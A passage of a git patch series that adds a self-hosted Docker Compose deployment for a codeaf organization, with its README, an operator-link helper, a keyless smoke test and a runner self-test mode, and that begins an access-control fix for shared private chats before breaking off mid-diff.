another container). Only when asked to, and only once. +if [ -n "${SMOKE_FIXTURE_REPO:-}" ] && [ ! -d "$SMOKE_FIXTURE_REPO/.git" ]; then + mkdir -p "$SMOKE_FIXTURE_REPO" \ + && printf '# smoke fixture\n' > "$SMOKE_FIXTURE_REPO/README.md" \ + && git -C "$SMOKE_FIXTURE_REPO" init -q -b main \ + && git -C "$SMOKE_FIXTURE_REPO" add README.md \ + && git -C "$SMOKE_FIXTURE_REPO" commit -q -m "fixture" +fi + exec "$@" diff --git a/deploy/org/swe-af.Dockerfile b/deploy/org/swe-af.Dockerfile index 169dd343d5..ebb073bf74 100644 --- a/deploy/org/swe-af.Dockerfile +++ b/deploy/org/swe-af.Dockerfile @@ -57,7 +57,9 @@ COPY scripts/node-entrypoint.sh scripts/drop-root.sh /opt/org/ RUN chmod 0755 /opt/org/node-entrypoint.sh # legacy-name: AgentField's SDKs still call the codeaf coding harness "aforge" (the provider # and its command variable), and CODEAF_BIN below says which binary it runs. Both spellings are theirs. -ENV HOME=/home/sweaf \ +# ORG_*: who the entrypoint hands the platform volume to, and runs the node as (scripts/drop-root.sh). +ENV ORG_UID=10002 ORG_HOME=/home/sweaf ORG_DIRS=/workspaces \ + HOME=/home/sweaf \ NODE_ID=swe-planner \ AGENTFIELD_NODE_LINK_ONLY=1 \ SWE_WORKSPACE_ROOT=/workspaces \ From 59485ffa105a068d440cb594e90f9a338940fc2e Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 00:30:56 -0500 Subject: [PATCH 007/176] Change entry for the self-hosted organization Compose Co-Authored-By: Claude Sonnet 5.5 --- docs/changes/unreleased/2894-org-compose.md | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 docs/changes/unreleased/2894-org-compose.md diff --git a/docs/changes/unreleased/2894-org-compose.md b/docs/changes/unreleased/2894-org-compose.md new file mode 100644 index 0000000000..57e9c97a50 --- /dev/null +++ b/docs/changes/unreleased/2894-org-compose.md @@ -0,0 +1,11 @@ +--- +kind: added +title: A Docker Compose to host a codeaf organization yourself, in deploy/org +pr: 2894 +surface: [factory, build, docs] +invalidates: + - "Was true: the only deployment recipe in the repository for an organization server was deploy/demo-org-server, one VM with a systemd unit, and the AgentField control plane, SWE-AF and PR-AF had to be started by hand beside it. Is true: deploy/org holds a Docker Compose that runs the organization server, the control plane, a factory runner, SWE-AF and PR-AF together, each with its own volume and health check, from pinned artifacts." +--- + +`deploy/org/README.md` is the walkthrough: `./setup.sh`, `docker compose up -d --build`, `./operator-link.sh`, and a keyless +`./smoke.sh` that proves the stack against a scripted model. The same Dockerfiles back a Railway project. From 0aeb94a5f1cccdc83f4f44ce74662c542cba75df Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 00:32:38 -0500 Subject: [PATCH 008/176] deploy/org: the walkthrough, and a helper that prints the operator link Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 139 ++++++++++++++++++++++++++++++++++++ deploy/org/operator-link.sh | 16 +++++ 2 files changed, 155 insertions(+) create mode 100644 deploy/org/README.md create mode 100755 deploy/org/operator-link.sh diff --git a/deploy/org/README.md b/deploy/org/README.md new file mode 100644 index 0000000000..03a723a458 --- /dev/null +++ b/deploy/org/README.md @@ -0,0 +1,139 @@ +# A codeaf organization you host yourself + +One `docker compose up` brings up everything an organization needs, on your own machine or +server: the **organization server** people join with their codeaf desktop app, the **AgentField** +control plane that routes work, and the reasoner nodes the factory sends work to, **SWE-AF** (builds an +issue into a pull request) and **PR-AF** (reviews one). Nothing in an image is a secret; model keys +come from your environment. + +| Service | What it is | Published port | State (volume) | Runs as | +| --- | --- | --- | --- | --- | +| `codeaf` | the organization server, `codeaf factory serve` in team mode | `127.0.0.1:8787` | `codeaf-data` | uid 10001 | +| `agentfield` | the AgentField control plane (published image, pinned by digest) | `127.0.0.1:8080` | `agentfield-data` | uid 65532 | +| `runner` | the factory runner: a codeaf engine that registers the factory on AgentField as the node `codeaf-factory` | none | `runner-data` | uid 10001 | +| `swe-af` | SWE-AF, node `swe-planner`, dials AgentField over its node link | none | `swe-af-workspaces` | uid 10002 | +| `pr-af` | PR-AF, node `pr-af`, called by AgentField over HTTP | none | `pr-af-workspaces` | uid 10003 | +| `modelstub` | a scripted model, only with `--profile stub` (the keyless smoke test) | none | none | nonroot | + +Every container starts as root only long enough to hand a freshly mounted volume to its user, then +drops to that user (`scripts/drop-root.sh`); nothing long-lived runs as root. Published ports listen on +127.0.0.1 until you change `CODEAF_BIND` / `AGENTFIELD_BIND` in `.env`. + +## What you need + +- Docker with Compose v2.24 or newer (`docker compose version`), about 4 GB of free memory and 5 GB of disk. +- For anyone who is not on the same machine: **HTTPS**. An organization server takes a password only over + HTTPS (or from its own machine), so put a proxy that serves HTTPS in front of port 8787 (see "Other people"). +- For real work: an OpenRouter key (`OPENROUTER_API_KEY`) and, to let the nodes clone private repositories and + open pull requests, a GitHub token (`GH_TOKEN`). The smoke test needs neither. + +## Start it + +```sh +cd deploy/org +./setup.sh # writes .env with a fresh AgentField key and organization token (once) +$EDITOR .env # optional: OPENROUTER_API_KEY=..., GH_TOKEN=..., CODEAF_ORG_NAME=... +docker compose up -d --build # the first build takes several minutes; later starts take seconds +docker compose ps # every service says "healthy" +``` + +The first build downloads the pinned codeaf release (checked against its sha256) and builds SWE-AF and PR-AF +from pinned commits of their public repositories. + +## Claim the organization, invite a second person + +```sh +./operator-link.sh # prints the operator access link (a secret; it works once) +``` + +1. Open that `codeaf://factory/join?operator=true...` link in the codeaf desktop app (or paste it into + **Join an organization...**). Choose a username and a password. Whoever uses the link first is the operator, + so keep it to yourself until you have. +2. From **People**, the operator makes an **invite link** for the second person. They paste it into + **Join an organization...** on their own computer and choose their own username and password. +3. A codeaf client connects to this organization with the server's URL, which is inside the link. The URL is + `http://localhost:8787` on the machine running Compose, or your public HTTPS name for everyone else. + +If the operator link is lost before anyone used it, `docker compose restart codeaf` prints a fresh one. + +### Other people: HTTPS + +Put any proxy that serves HTTPS in front of port 8787, then tell the server its public name and which proxy +to believe: + +```sh +# .env +CODEAF_PUBLIC_DOMAIN=org.example.com # no scheme +CODEAF_TRUSTED_PROXIES=172.16.0.0/12 # the proxy's address or range (Docker's default bridge range here) +CODEAF_BIND=127.0.0.1 # the proxy runs on this machine; keep the port closed +``` + +For example Caddy, on the same host: `org.example.com { reverse_proxy 127.0.0.1:8787 }`. Links the server prints +then name `https://org.example.com`. Without `CODEAF_TRUSTED_PROXIES` the server sees every request as plain HTTP +and refuses passwords with "Passwords are only sent to this server over https". + +## Real work + +Put your keys in `.env` and `docker compose up -d`. `ORG_MODEL`, `SWE_DEFAULT_MODEL` and `PR_AF_MODEL` choose the +models; the defaults are inexpensive. A factory job runs on the pipeline a repository declares in +`.codeaf/factory.yaml` (a step of `kind: agentfield` with `target: swe-planner.build_issue` sends it to SWE-AF), +and SWE-AF pauses at its plan so the owner can approve it or ask for changes. + +## The keyless smoke test + +```sh +./smoke.sh +``` + +It restarts the stack against the scripted stub (so nothing is spent, whatever keys `.env` holds) and checks, +printing `PASS` or `FAIL` for each: + +- every service is healthy; AgentField, SWE-AF, PR-AF and the factory are registered; PR-AF answers a call; +- the operator link claims the organization once, a second person joins by invite, roles are enforced; +- a factory job reaches SWE-AF through AgentField with **strict run-owner proofs on**, its plan question reaches + the owner, "ask for changes" resumes the run, and rejecting the plan ends it; AgentField's proof counters agree; +- after `docker compose restart`, the nodes register again and AgentField, the runs and the people are all still there. + +The stub's answers are minimal schema-valid text, so the "work" is not real. `docker compose up -d` afterwards +puts your own keys back. + +## State, backups and upgrades + +State lives in five named volumes (`docker volume ls`, prefix `codeaf-org_`); `docker compose down` keeps them, +`docker compose down -v` deletes them. A backup of one volume: + +```sh +docker run --rm -v codeaf-org_codeaf-data:/d -v "$PWD":/b busybox tar czf /b/codeaf-data.tgz -C /d . +``` + +Everything is pinned: the codeaf release (`CODEAF_RELEASE` and its two sha256 values at the top of +`codeaf.Dockerfile`, `swe-af.Dockerfile` and `pr-af.Dockerfile`), the SWE-AF and PR-AF commits (`SWEAF_REF`, +`PRAF_REF`) and the AgentField image (`AGENTFIELD_IMAGE`, tag and digest together in `agentfield.Dockerfile`). +To upgrade, change the pin, then `docker compose up -d --build`. Changing the line in the file is what makes +Docker rebuild that layer; a loose version would keep restoring the cached one. + +## Secrets + +No secret is baked into an image. The AgentField key, the organization token and the model keys come from `.env` +or your environment. A service that is given a key as a mounted file can use `AGENTFIELD_API_KEY_FILE`, +`OPENROUTER_API_KEY_FILE` or `GH_TOKEN_FILE` instead. Treat `.env` like a password file (`setup.sh` writes it +mode 600); it is ignored by git and by the image build. + +## Railway + +The same services run on Railway as one project: five services plus volumes, private networking between them, +and a public domain on the `codeaf` service only. `deploy/org` is the build root for the four built services +(`codeaf`, `runner`, `swe-af`, `pr-af`, each pointing at its own Dockerfile); `agentfield` runs the published +image. See the end of this file for the variables each service takes. + +## Known limits + +- The runner is a small Python host of the codeaf engine (`scripts/runner.py`), because `codeaf factory serve` + does not itself register the factory on AgentField. When codeaf ships a headless runner this goes away. +- The organization keeps no canvases: the server needs a `canvas` program beside it, which this stack does not + carry. It starts, says so in its log, and leaves the canvas routes off. +- The operator link prints the address the server listens on unless `CODEAF_PUBLIC_DOMAIN` is set; + `./operator-link.sh` rewrites it for a laptop. +- GitHub sign-in (`CODEAF_GITHUB_CLIENT_ID`) and invitation mail (`CODEAF_SMTP_URL`) are optional and untested here; + username and password is the default way in. +- One replica of each service; no high availability. diff --git a/deploy/org/operator-link.sh b/deploy/org/operator-link.sh new file mode 100755 index 0000000000..b4b4454630 --- /dev/null +++ b/deploy/org/operator-link.sh @@ -0,0 +1,16 @@ +#!/bin/sh +# Prints the operator access link of this organization, with an address that works from this +# machine. The server prints the address it listens on ("[::]:8787") unless CODEAF_PUBLIC_DOMAIN +# names the host people reach it on; this swaps the first for localhost and your published port. +# The link is a secret, and it works once: whoever opens it first becomes the operator. +set -eu +cd "$(dirname "$0")" +DC="${COMPOSE:-docker compose}" +port=$(sed -n 's/^CODEAF_PORT=//p' .env 2>/dev/null | tail -1) +link=$($DC logs --no-log-prefix codeaf 2>/dev/null | grep -o 'codeaf://factory/join?operator=true[^ ]*' | tail -1 | tr -d '\r' || true) +if [ -z "$link" ]; then + echo "No operator link in the server's log. Either this organization was already claimed (its operator signs in" >&2 + echo "instead), or the server is not up yet: docker compose ps, docker compose logs codeaf." >&2 + exit 1 +fi +printf '%s\n' "$link" | sed "s|%5B%3A%3A%5D%3A8787|localhost%3A${port:-8787}|" From 34ae2dd92e9f48fa40b1365bd69e3987a24e8870 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 00:32:38 -0500 Subject: [PATCH 009/176] deploy/org: the keyless smoke test of the whole stack smoke.sh starts the stack against the scripted stub model and checks, section by section, that the nodes are registered, the operator link claims the organization, a second person joins by invite, a factory job reaches SWE-AF through AgentField with strict run-owner proofs and its plan question is answered by the owner, and that a restart of every service keeps the people, the runs and the registrations. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/scripts/smoke.py | 312 ++++++++++++++++++++++++++++++++++++ deploy/org/smoke.sh | 43 +++++ 2 files changed, 355 insertions(+) create mode 100755 deploy/org/scripts/smoke.py create mode 100755 deploy/org/smoke.sh diff --git a/deploy/org/scripts/smoke.py b/deploy/org/scripts/smoke.py new file mode 100755 index 0000000000..dacd43a2c9 --- /dev/null +++ b/deploy/org/scripts/smoke.py @@ -0,0 +1,312 @@ +#!/usr/bin/env python3 +"""The keyless smoke test of a codeaf organization deployment. Run it INSIDE the runner container +(it reaches every service by its network name and drives the runner's engine over its socket): + + docker compose exec -T runner python3 /opt/org/smoke.py all --operator-link '' + +Sections (run one at a time; `all` runs control and job): + control AgentField answers, SWE-AF, PR-AF and the factory are registered, PR-AF answers a call + job a factory job reaches SWE-AF through AgentField; its plan question reaches the owner + and the answer resumes (then ends) the run; AgentField's strict-proof counters agree + org (run it in the codeaf container, or over https) the operator claims the organization with + its link, invites a second person, who joins; roles are enforced + after (after `docker compose restart`) every node is registered again, AgentField still holds the runs + after-org (in the codeaf container) the organization still knows the operator + +An organization server takes a password only over https or from its own machine, so `org` and +`after-org` run inside the codeaf container with ORG_URL=http://127.0.0.1:8787 (smoke.sh does). + +It prints PASS or FAIL per check and exits non-zero if any failed. Secrets are never printed. +Everything the model is asked goes to the scripted stub, so it spends nothing; the stub's answers +are minimal and the "work" is not real. +""" +import argparse +import json +import os +import re +import socket +import subprocess +import sys +import time +import urllib.error +import urllib.request +from pathlib import Path + +AGENTFIELD = os.environ.get('AGENTFIELD_URL', 'http://agentfield:8080').rstrip('/') +KEY = os.environ.get('AGENTFIELD_API_KEY', '') +ORG = os.environ.get('ORG_URL', 'http://codeaf:8787').rstrip('/') +SOCKET = os.environ.get('RUNNER_SOCKET', '/data/engine.sock') +FIXTURE_PATH = os.environ.get('SMOKE_FIXTURE_PATH', '/workspaces/smoke-fixture') # on the swe-af container (compose.yaml, .env.stub) +STATE = Path(os.environ.get('SMOKE_STATE', '/data/smoke-state.json')) +PASSWORD = 'harbor maple quartz lantern 5521' + +failures = 0 + + +def check(name, ok, evidence=''): + global failures + if not ok: + failures += 1 + print(('PASS' if ok else 'FAIL') + ' ' + name + ((' ' + str(evidence)) if evidence != '' else ''), flush=True) + return ok + + +def http(method, url, token=None, body=None, headers=None, timeout=30): + head = {'Content-Type': 'application/json'} + if token: + head['Authorization'] = 'Bearer ' + token + head.update(headers or {}) + data = json.dumps(body).encode() if body is not None else None + request = urllib.request.Request(url, data=data, method=method, headers=head) + try: + with urllib.request.urlopen(request, timeout=timeout) as response: + raw, code = response.read(), response.status + except urllib.error.HTTPError as error: + raw, code = error.read(), error.code + except Exception as error: # noqa: BLE001 + return 0, str(error) + try: + return code, (json.loads(raw) if raw else None) + except ValueError: + return code, raw.decode(errors='replace') + + +def short(value, limit=160): + text = value if isinstance(value, str) else json.dumps(value) + return text if len(text) <= limit else text[:limit] + '...' + + +def af(method, path, body=None, timeout=30): + return http(method, AGENTFIELD + path, KEY, body, timeout=timeout) + + +def rpc(method, params=None): + with socket.socket(socket.AF_UNIX) as conn: + conn.settimeout(300) + conn.connect(SOCKET) + conn.sendall((json.dumps({'id': 1, 'method': method, 'params': params or {}}) + '\n').encode()) + with conn.makefile() as stream: + reply = json.loads(stream.readline()) + if reply.get('error'): + raise RuntimeError(method + ': ' + str(reply['error'].get('message'))) + return reply.get('result') + + +def wait_until(predicate, seconds, every=2): + deadline = time.time() + seconds + value = None + while time.time() < deadline: + value = predicate() + if value: + return value + time.sleep(every) + return value + + +def node_ids(): + code, body = af('GET', '/api/v1/nodes') + nodes = body.get('nodes', body) if isinstance(body, dict) else body + if not isinstance(nodes, list): + return code, [] + return code, sorted((n.get('id') or n.get('node_id') or '') for n in nodes) + + +def counters(): + """The control plane's run-owner claim counters, by result.""" + code, text = http('GET', AGENTFIELD + '/metrics', KEY) + found = {} + if isinstance(text, str): + for line in text.splitlines(): + match = re.match(r'agentfield_run_owner_claims_total\{[^}]*result="([a-z_]+)"[^}]*\}\s+([0-9.e+]+)', line) + if match: + found[match.group(1)] = float(match.group(2)) + return found + + +# --------------------------------------------------------------------------------------------- +def control(): + print('--- control plane and nodes') + code, body = http('GET', AGENTFIELD + '/api/v1/health') + check('AgentField answers its health check', code == 200, f'{code}') + ids = wait_until(lambda: (lambda c, n: n if {'swe-planner', 'pr-af', 'codeaf-factory'} <= set(n) else None)(*node_ids()), 120) + code, ids = node_ids() if not ids else (200, ids) + for node in ('swe-planner', 'pr-af', 'codeaf-factory'): + check(f'{node} is registered on AgentField', node in ids, ids if node not in ids else '') + diff = ('diff --git a/hello.py b/hello.py\n--- a/hello.py\n+++ b/hello.py\n@@ -1,2 +1,3 @@\n' + ' def hello():\n- return "hi"\n+ name = input()\n+ return "hi " + name\n') + code, body = af('POST', '/api/v1/execute/pr-af.review', {'input': {'diff_text': diff, 'depth': 'quick'}}, timeout=90) + # What is proved is that the control plane reached PR-AF and PR-AF's own code answered. With the keyless + # stub the review itself cannot finish ("no review dimensions ran"), and that answer is PR-AF's, not a + # transport failure. A real model key gets a real review here. + text = short(body, 400).lower() + transport = any(word in text for word in ('connection refused', 'no such host', 'unreachable', 'dial tcp', 'node not found', 'not registered', 'timed out')) + answered = isinstance(body, dict) and bool(body.get('execution_id')) and not transport + check('PR-AF is callable through AgentField (PR-AF itself answers a review request)', answered, f'{code} {short(body, 120)}') + + +# --------------------------------------------------------------------------------------------- +def join(link, username, name): + return http('POST', ORG + '/v1/factory-access', None, + {'link': link, 'verb': 'sign_up', 'username': username, 'password': PASSWORD, 'name': name}) + + +def org(operator_link): + print('--- organization server') + if not operator_link: + check('an operator link was given', False, 'pass --operator-link (docker compose logs codeaf | grep "operator access link")') + return + # The link names the address the server prints (a laptop's loopback or the public name); this + # script reaches the server on its network name instead, so only the link's secret part is used. + code, joined = join(operator_link, 'owner', 'Owner') + token = (joined or {}).get('access_token') if isinstance(joined, dict) else None + check('the operator claims the organization with the printed link', code == 200 and bool(token) and joined.get('state') == 'joined', + f'{code} state={joined.get("state") if isinstance(joined, dict) else joined}') + code2, again = join(operator_link, 'intruder', 'Intruder') + check('the operator link works once', code2 != 200 or not (again or {}).get('access_token'), f'{code2} state={again.get("state") if isinstance(again, dict) else again}') + if not token: + return + code, made = http('POST', ORG + '/v1/invites', token, {'name': 'Priya'}) + invite = (made or {}).get('url') if isinstance(made, dict) else None + check('the operator makes an invite link', code in (200, 201) and bool(invite), f'{code}') + if not invite: + return + code, joined2 = join(invite, 'priya', 'Priya') + member = (joined2 or {}).get('access_token') if isinstance(joined2, dict) else None + check('a second person joins with the invite link', code == 200 and bool(member) and joined2.get('state') == 'joined', f'{code}') + code3, reuse = join(invite, 'priya2', 'Priya Two') + check('an invite link works once', code3 != 200 or not (reuse or {}).get('access_token'), f'{code3} state={reuse.get("state") if isinstance(reuse, dict) else reuse}') + code, people = http('GET', ORG + '/v1/people', token) + handles = sorted(p.get('handle') for p in (people or {}).get('people', [])) if isinstance(people, dict) else [] + check('the operator sees both people', handles == ['owner', 'priya'], handles) + code, policy = http('GET', ORG + '/v1/org/policy', member) + check('the member can read the organization policy', code == 200, f'{code}') + code, _ = http('PUT', ORG + '/v1/org/policy', member, {}) + check('the member cannot change the organization policy', code in (401, 403), f'{code}') + STATE.write_text(json.dumps({'people': ['owner', 'priya']})) + + +# --------------------------------------------------------------------------------------------- +PIPELINE = """pipeline: + swe-af: [build] +steps: + build: + label: Build on AgentField + kind: agentfield + target: swe-planner.build_issue + input: + title: '{title}' + body: '{body}' + repo_path: %s + plan_review: 'true' + config: '{"check_ci": false}' +""" % FIXTURE_PATH + + +def make_fixture(): + root = Path(os.environ.get('SMOKE_FIXTURE', '/data/fixture/repo')) + if not (root / '.git').exists(): + (root / '.codeaf').mkdir(parents=True, exist_ok=True) + (root / 'README.md').write_text('# smoke fixture\n') + (root / '.codeaf' / 'factory.yaml').write_text(PIPELINE) + env = dict(os.environ, GIT_AUTHOR_NAME='smoke', GIT_AUTHOR_EMAIL='smoke@example.invalid', + GIT_COMMITTER_NAME='smoke', GIT_COMMITTER_EMAIL='smoke@example.invalid') + for args in (['init', '-q', '-b', 'main'], ['add', '.'], ['commit', '-q', '-m', 'fixture']): + subprocess.run(['git', '-C', str(root)] + args, check=True, env=env) + return root + + +def job_view(factory, job): + reply = rpc('factory.job', {'factory': factory, 'job': job}) + return reply.get('current', reply) + + +def waits_for_you(view, phrase): + wait = view.get('wait') or {} + return view.get('state') == 'needs_you' and wait.get('who') == 'you' and phrase in (wait.get('words') or '').lower() + + +def expect(view): + return {'version': view.get('version'), 'state': view.get('state')} + + +def job(): + print('--- factory job through AgentField') + ready = json.loads(Path('/data/ready.json').read_text()) + factory = ready['factory'] + before = counters() + root = make_fixture() + created = rpc('factory.job_create', {'factory': factory, 'folder': str(root), 'title': 'Add a Count method', + 'text': 'Smoke test: add a Count method and run the tests.', + 'start': 'now', 'assignee': '', 'pipeline': 'swe-af'}) + number = (created or {}).get('job') or (created or {}).get('number') + check('a factory job is created and started on the pipeline that targets SWE-AF', bool(number), short(created)) + if not number: + return + view = wait_until(lambda: (lambda v: v if waits_for_you(v, 'approve the plan') else None)(job_view(factory, number)), 900, 3) + check('the run reaches SWE-AF and its plan question reaches the owner', bool(view), + short((view or job_view(factory, number)).get('wait'))) + if not view: + return + try: + rpc('factory.job_request_changes', {'factory': factory, 'job': number, 'words': 'smoke: please revise once', 'expect': expect(view)}) + again = wait_until(lambda: (lambda v: v if waits_for_you(v, 'revised') else None)(job_view(factory, number)), 900, 3) + check('the owner answers with a request for changes: the run resumes, replans and asks again', bool(again), + short((again or job_view(factory, number)).get('wait'))) + except RuntimeError as error: + again = None + check('the owner answers with a request for changes: the run resumes, replans and asks again', False, error) + view = again or job_view(factory, number) + try: + rpc('factory.job_reject_plan', {'factory': factory, 'job': number, 'words': 'smoke: stop here', 'expect': expect(view)}) + + def ended(): + v = job_view(factory, number) + steps = [(st.get('name'), st.get('state')) for st in (v.get('steps') or [])] + gone = any(state in ('cancelled', 'failed', 'stopped') for _, state in steps) + return v if gone or v.get('state') in ('stopped', 'closed', 'failed', 'done', 'cancelled') else None + over = wait_until(ended, 300, 3) + check('rejecting the plan ends the run', bool(over), short(job_view(factory, number).get('state'))) + except RuntimeError as error: + check('rejecting the plan ends the run', False, error) + after = counters() + proven = after.get('proven', 0) - before.get('proven', 0) + bad = {k: v for k, v in after.items() if k != 'proven' and v - before.get(k, 0) > 0} + check('AgentField, in strict mode, accepted the factory\'s run-owner proofs and refused or accepted-unproven none', + proven > 0 and not bad, f'proven +{proven:g} other {bad}') + + +# --------------------------------------------------------------------------------------------- +def after(): + print('--- after a restart') + ids = wait_until(lambda: (lambda c, n: n if {'swe-planner', 'pr-af', 'codeaf-factory'} <= set(n) else None)(*node_ids()), 180) + check('every node is registered again after the restart', bool(ids), ids) + code, body = af('GET', '/api/v1/executions?limit=5') + count = len(body.get('executions', [])) if isinstance(body, dict) else 0 + check('AgentField still holds the earlier runs', code == 200 and count > 0, f'{code} runs={count}') + + +def after_org(): + print('--- the organization after a restart') + code, signed = http('POST', ORG + '/v1/auth/password', None, {'username': 'owner', 'password': PASSWORD}) + check('the organization still knows the operator (password sign-in)', code == 200 and bool((signed or {}).get('access_token')), f'{code}') + token = (signed or {}).get('access_token') if isinstance(signed, dict) else None + if token: + code, people = http('GET', ORG + '/v1/people', token) + handles = sorted(p.get('handle') for p in (people or {}).get('people', [])) if isinstance(people, dict) else [] + check('and still knows the second person', handles == ['owner', 'priya'], handles) + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument('section', choices=['all', 'control', 'job', 'org', 'after', 'after-org']) + parser.add_argument('--operator-link', default='') + args = parser.parse_args() + for name, run in (('control', control), ('job', job), ('org', lambda: org(args.operator_link)), ('after', after), ('after-org', after_org)): + if args.section == name or (args.section == 'all' and name in ('control', 'job')): + run() + print('RESULT ' + ('PASS' if failures == 0 else f'FAIL ({failures} check(s) failed)')) + sys.exit(1 if failures else 0) + + +if __name__ == '__main__': + main() diff --git a/deploy/org/smoke.sh b/deploy/org/smoke.sh new file mode 100755 index 0000000000..b4fc013fd2 --- /dev/null +++ b/deploy/org/smoke.sh @@ -0,0 +1,43 @@ +#!/bin/sh +# The keyless smoke test of this Compose stack. It spends nothing: every model call goes to the +# scripted stub (modelstub), whatever keys .env holds. It runs: +# 1. everything up and healthy; +# 2. AgentField, SWE-AF, PR-AF and the factory registered; PR-AF answers a call; +# 3. the operator link claims the organization; a second person joins by invite; +# 4. a factory job reaches SWE-AF through AgentField, with strict run-owner proofs on; its plan +# question reaches the owner, and the answer resumes the run; +# 5. a restart of every service, then: still registered, still holding the runs and the people. +# Afterwards the stack keeps running against the stub. `docker compose up -d` puts your own keys back. +# +# ./smoke.sh +# +# COMPOSE='docker compose -p other' picks another project; SMOKE_ENV='--env-file x' adds an env file. +set -eu +cd "$(dirname "$0")" +[ -f .env ] || ./setup.sh +DC="${COMPOSE:-docker compose} --env-file .env --env-file .env.stub ${SMOKE_ENV:-} --profile stub" +SMOKE=/opt/org/smoke.py +bad=0 +run() { # service exec-flags section [args]: run one section, remember a failure, go on + svc=$1; flags=$2; shift 2 + # shellcheck disable=SC2086 + $DC exec -T -u codeaf $flags "$svc" python3 $SMOKE "$@" || bad=1 +} + +echo '== bringing the stack up (the first time this builds the images: several minutes)' +$DC up -d --build --wait --wait-timeout 600 + +echo '== operator link' +link=$(COMPOSE="$DC" ./operator-link.sh) # a secret: it is passed on, never printed here + +run runner '' control +run codeaf '-e ORG_URL=http://127.0.0.1:8787' org --operator-link "$link" +run runner '' job + +echo '== restarting every service' +$DC restart +$DC up -d --wait --wait-timeout 600 +run runner '' after +run codeaf '-e ORG_URL=http://127.0.0.1:8787' after-org + +if [ "$bad" = 0 ]; then echo 'SMOKE PASSED'; else echo 'SMOKE FAILED' >&2; exit 1; fi From 8e51283f0fb172fb9fc8239d2d0184e2429bfac4 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 00:34:31 -0500 Subject: [PATCH 010/176] deploy/org: let the runner prove the stack itself where nobody can exec into it Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/scripts/runner.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/deploy/org/scripts/runner.py b/deploy/org/scripts/runner.py index 3a0f07b820..e3c39cf74f 100755 --- a/deploy/org/scripts/runner.py +++ b/deploy/org/scripts/runner.py @@ -86,6 +86,16 @@ def write_engine_config(model): path.chmod(0o600) +def selftest(): + """RUNNER_SELFTEST=1: where nobody can `docker exec` (a platform's service), the runner proves the + stack itself once it is up. It runs the smoke test's control and job sections against the scripted + stub and logs each PASS or FAIL line; it spends nothing and prints no secret.""" + for section in ('control', 'job'): + proc = subprocess.run(['python3', '/opt/org/smoke.py', section], capture_output=True, text=True, timeout=1800, check=False) + for line in (proc.stdout + proc.stderr).splitlines(): + log('selftest ' + line) + + def main(): url = os.environ.get('AGENTFIELD_URL', '').strip() key = env_or_file('AGENTFIELD_API_KEY') @@ -206,6 +216,8 @@ def handle(self): threading.Thread(target=server.serve_forever, daemon=True).start() READY.write_text(json.dumps({'factory': factory_id})) log(f'runner ready: factory {factory_id} is connected to AgentField at {url}') + if os.environ.get('RUNNER_SELFTEST', '').strip().lower() in ('1', 'true', 'yes', 'on'): + threading.Thread(target=selftest, daemon=True).start() status = proc.wait() raise SystemExit(status or 1) except SystemExit: From 84ee321642c8c2dd31b22108c6e4b518fc481cde Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 00:39:49 -0500 Subject: [PATCH 011/176] deploy/org: a self-test mode for the check after a restart Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/scripts/runner.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/deploy/org/scripts/runner.py b/deploy/org/scripts/runner.py index e3c39cf74f..eeb8c04f95 100755 --- a/deploy/org/scripts/runner.py +++ b/deploy/org/scripts/runner.py @@ -88,9 +88,11 @@ def write_engine_config(model): def selftest(): """RUNNER_SELFTEST=1: where nobody can `docker exec` (a platform's service), the runner proves the - stack itself once it is up. It runs the smoke test's control and job sections against the scripted - stub and logs each PASS or FAIL line; it spends nothing and prints no secret.""" - for section in ('control', 'job'): + stack itself once it is up. RUNNER_SELFTEST=1 runs the smoke test's control and job sections against + the scripted stub; RUNNER_SELFTEST=after runs its after-a-restart section instead. Each PASS or FAIL + line is logged; it spends nothing and prints no secret.""" + sections = ('after',) if os.environ.get('RUNNER_SELFTEST', '').strip().lower() == 'after' else ('control', 'job') + for section in sections: proc = subprocess.run(['python3', '/opt/org/smoke.py', section], capture_output=True, text=True, timeout=1800, check=False) for line in (proc.stdout + proc.stderr).splitlines(): log('selftest ' + line) @@ -216,7 +218,7 @@ def handle(self): threading.Thread(target=server.serve_forever, daemon=True).start() READY.write_text(json.dumps({'factory': factory_id})) log(f'runner ready: factory {factory_id} is connected to AgentField at {url}') - if os.environ.get('RUNNER_SELFTEST', '').strip().lower() in ('1', 'true', 'yes', 'on'): + if os.environ.get('RUNNER_SELFTEST', '').strip().lower() in ('1', 'true', 'yes', 'on', 'after'): threading.Thread(target=selftest, daemon=True).start() status = proc.wait() raise SystemExit(status or 1) From 0dc32fce8fe267bb40de0a1d591568d58146c780 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 00:41:47 -0500 Subject: [PATCH 012/176] acl: a private chat that has been shared stays private to the people it was shared with Sharing a private chat with one person used to un-private it, after which it inherited the workstream's shares and grants, the workstream owner's share and the operator. So sharing a chat with one person showed it, title and all, to everyone who could see the workstream. A private registration with a live grant on itself is now a closed private item: shares, organization visibility, inherited grants and the operator (unless the policy lets it see private things) stay out, and only its owner and the people its own grants name reach it. The grants list shows those grants and the audience of its events names the same people. Three older tests encoded the wider audience (the operator's chat list, the move event's audience, the sweep's lapse audience) and are changed to the contract, each with a comment saying so. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/acl/acl.go | 30 ++++++++++++------- internal/factory/acl/acl_test.go | 28 +++++++++++++++++ internal/factory/acl/audience.go | 12 ++++---- internal/factory/serve/access_api_test.go | 7 +++-- internal/factory/serve/access_grants.go | 4 +-- .../factory/serve/access_move_chat_test.go | 5 +++- internal/factory/serve/access_sweep_test.go | 4 ++- internal/factory/serve/chats_private_test.go | 2 +- internal/factory/serve/item_access.go | 18 +++++++++-- 9 files changed, 84 insertions(+), 26 deletions(-) diff --git a/internal/factory/acl/acl.go b/internal/factory/acl/acl.go index 